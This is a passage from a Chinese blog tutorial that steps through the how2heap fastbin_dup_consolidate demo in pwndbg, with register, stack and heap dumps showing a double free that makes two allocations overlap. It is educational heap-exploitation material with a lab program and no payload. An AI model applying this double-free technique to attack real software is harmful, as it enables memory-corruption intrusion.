06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400771 main+299
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:21
pwndbg> x/20gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000021
0x602010:       0x0043434343434343      0x00007ffff7dd1b88
0x602020:       0x0000000000000020      0x0000000000000020
0x602030:       0x4242424242424242      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000411
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000000

3.3.6 再一次就是从 small bins 中分配

设置断点 在第23行, 指令 b 23

void *p5 = malloc(0x10);

strcpy(p5, "DDDDDDDD");

可以看到堆块的内容被覆盖成DDDDDDDD了,这是因为p4和p5被分配在了同一个地方,修改p5处的内容其实就是修改p4处的内容。

pwndbg> b 23
Breakpoint 5 at 0x400794: file fastbin_dup_consolidate.c, line 23.
pwndbg> c
Continuing.

Breakpoint 5, main () at fastbin_dup_consolidate.c:23
23          fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x602010 ◂— 'DDDDDDDD'
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x0
 RDX  0x602010 ◂— 'DDDDDDDD'
 RDI  0x0
 RSI  0x4444444444444444 ('DDDDDDDD')
 R8   0x0
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x400550 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe690 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe580 ◂— 0x0
 RIP  0x400794 (main+334) ◂— mov    rax, qword ptr [rip + 0x2008c5]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
   0x40077b <main+309>    mov    qword ptr [rbp - 8], rax
   0x40077f <main+313>    mov    rax, qword ptr [rbp - 8]
   0x400783 <main+317>    movabs rsi, 0x4444444444444444
   0x40078d <main+327>    mov    qword ptr [rax], rsi
   0x400790 <main+330>    mov    byte ptr [rax + 8], 0
 ► 0x400794 <main+334>    mov    rax, qword ptr [rip + 0x2008c5] <0x601060>
   0x40079b <main+341>    mov    rcx, qword ptr [rbp - 8]
   0x40079f <main+345>    mov    rdx, qword ptr [rbp - 0x10]
   0x4007a3 <main+349>    mov    esi, 0x400980
   0x4007a8 <main+354>    mov    rdi, rax
   0x4007ab <main+357>    mov    eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup_consolidate.c
   18     fprintf(stderr, "这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free\n");
   19     void* p4 = malloc(0x10);
   20     strcpy(p4, "CCCCCCC");
   21     void* p5 = malloc(0x10);
   22     strcpy(p5, "DDDDDDDD");
 ► 23     fprintf(stderr, "现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: %p %p\n", p4, p5);
   24 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe580 ◂— 0x0
01:0008│      0x7fffffffe588 —▸ 0x602010 ◂— 'DDDDDDDD'
02:0010│      0x7fffffffe590 —▸ 0x602030 ◂— 'BBBBBBBB'
03:0018│      0x7fffffffe598 —▸ 0x602050 ◂— 0x0
04:0020│      0x7fffffffe5a0 —▸ 0x602010 ◂— 'DDDDDDDD'
... ↓
06:0030│ rbp  0x7fffffffe5b0 —▸ 0x4007c0 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5b8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400794 main+334
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/fastbin_dup_consolidate.c:23
pwndbg> x/20gx 0x602000 
0x602000:       0x0000000000000000      0x0000000000000021
0x602010:       0x4444444444444444      0x00007ffff7dd1b00
0x602020:       0x0000000000000020      0x0000000000000021
0x602030:       0x4242424242424242      0x0000000000000000
0x602040:       0x0000000000000000      0x0000000000000411
0x602050:       0x0000000000000000      0x0000000000000000
0x602060:       0x0000000000000000      0x0000000000000000
0x602070:       0x0000000000000000      0x0000000000000000
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000000
pwndbg> 

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值